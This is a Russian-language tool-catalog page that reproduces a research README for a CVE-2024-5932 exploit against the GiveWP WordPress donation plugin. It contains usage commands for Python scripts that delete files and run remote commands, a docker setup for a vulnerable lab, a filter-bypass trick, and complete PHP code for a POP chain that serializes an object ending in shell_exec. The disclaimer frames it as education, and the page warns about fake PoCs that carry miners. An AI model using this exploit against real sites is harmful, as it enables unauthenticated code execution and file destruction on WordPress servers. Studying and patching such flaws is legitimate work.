Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-5932 — GiveWP PHP Object Injection exploit | Kitploit
Инструменты/GitHubGitHub/eqstlab/cve-2024-5932
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubeqstlab/cve-2024-5932

CVE-2024-5932

GiveWP PHP Object Injection exploit

Репозиторий
78101 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Этот пост является исследовательской статьей, опубликованной EQSTLab.

❗❗ ВАЖНО ❗❗

В настоящее время существуют фальшивые PoC репозитории на GitHub, запускающие xmrig. Ознакомьтесь со ссылками ниже для получения дополнительной информации:

URL1: https://x.com/win3zz/status/1828704644987511107

URL2: https://x.com/bornunique911/status/1828712791844524453

URL3: https://x.com/Chocapikk_/status/1828801346637856841

CVE-2024-5932

★ CVE-2024-5932 Произвольное удаление файлов и PoC для RCE ★

https://github.com/user-attachments/assets/333e347a-fd71-404a-962b-2d0d4bb952c7

Хронология

25 авг : Загружен PoC для удаления файлов CVE-2024-5932

26 авг : Мы успешно выполнили произвольные команды, используя CVE-2024-5932, но рассматриваем вопрос о раскрытии из-за воздействия.

27 авг : Мы нашли подробный анализ PoC в публикации от Julien Ahrens из RCE Security и решили опубликовать наш PoC для RCE. Мы загрузили дополнительный PoC для RCE как CVE-2024-5932-rce.py.

Описание

CVE-2024-5932 : Уязвимость внедрения PHP-объектов в GiveWP описание: Плагин GiveWP Donation Plugin and Fundraising Platform для WordPress уязвим к внедрению PHP-объектов во всех версиях до 3.14.1 включительно через десериализацию недоверенных данных из параметра 'give_title'. Это позволяет неаутентифицированным злоумышленникам внедрять PHP-объект. Дополнительное наличие POP-цепочки позволяет злоумышленникам удаленно выполнять код и удалять произвольные файлы.

Как использовать

Git clone

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-5932.git
cd CVE-2024-5932

Установка пакетов

root@kitploit:~
pip install -r requirements.txt

Команды

root@kitploit:~
# Arbitrary file deletion
python CVE-2024-5932.py -u <URL_TO_EXPLOIT(Donation Form URL)> -f <FILE_TO_DELETE>
# Remote code execution
python CVE-2024-5932-rce.py -u <URL_TO_EXPLOIT(Donation Form URL)> -c <COMMAND_TO_EXECUTE>

Пример

root@kitploit:~
python CVE-2024-5932.py -u http://example.com/2024/08/24/donation2/ -f /tmp/test
python CVE-2024-5932-rce.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Вывод

CVE-2024-5932.py 0

CVE-2024-5932-rce.py 1

Результат

image 2

Уязвимая среда

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Затем загрузите уязвимый плагин GiveWP:

https://downloads.wordpress.org/plugin/give.3.14.1.zip

3. Распакуйте zip-файл плагина GiveWP и скопируйте весь файл в каталог “/var/www/html/wp-content/plugins” directory.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Активируйте плагин GiveWP

image

5. Добавьте новую запись с плагином GiveWP и скопируйте ссылку на запись

image

6. Проверьте уязвимую ссылку

image

(Опционально) Настройте целевой файл в среде Docker

Сначала получите доступ к оболочке WordPress с помощью следующей команды:

root@kitploit:~
docker exec -it -u root docker-wordpress-1 /bin/bash

Если файл принадлежит root, он может не быть удален из-за прав доступа. Поэтому вам нужно изменить владельца тестового файла с помощью следующей команды:

root@kitploit:~
touch test && chown www-data test

image

Отладка через PHPSTORM

Вы можете отлаживать ваш GiveWP, используя PHPSTORM.

1. Установите xdebug в ваш WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Затем настройте файл php.ini WordPress следующим образом (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..После этого вы можете отлаживать ваш WordPress.

3. Настройте PHPSTORM следующим образом (локально):

image image

4. Пример PHPSTORM (например, произвольное удаление файлов TCPDF)

image

Анализ

Уязвимый участок (includes/payments/class-give-payment.php)

В этом месте функция get_meta() десериализует ранее сохраненное значение "give_title".

root@kitploit:~
switch ( $key ) {
						case 'title':
							$user_info[ $key ] = Give()->donor_meta->get_meta( $donor->id, '_give_donor_title_prefix', true );
							break;
...

Техника обхода

strip_tags: заменяет нулевые байты -> используя \0

stripslashes_deep: заменяет обратные слеши -> используя \\\\

POP-цепочка для RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Return command string)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Сценарий атаки

RCE через POP-цепочку

POP-цепочка позволяет удаленно выполнять команды. image

Произвольное удаление файлов

Используя TCPDF, можно эксплуатировать произвольное удаление файлов.

Отказ от ответственности

Этот репозиторий не предназначен для эксплуатации внедрения объектов CVE-2024-5932. Цель этого проекта — помочь людям узнать об этой уязвимости и, возможно, протестировать свои собственные приложения.

EQST Insight

Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями. https://www.skshieldus.com/eng/business/insight.do

Ссылки

https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

https://skshieldus.com/eng/business/insight.do#

Скачать инструмент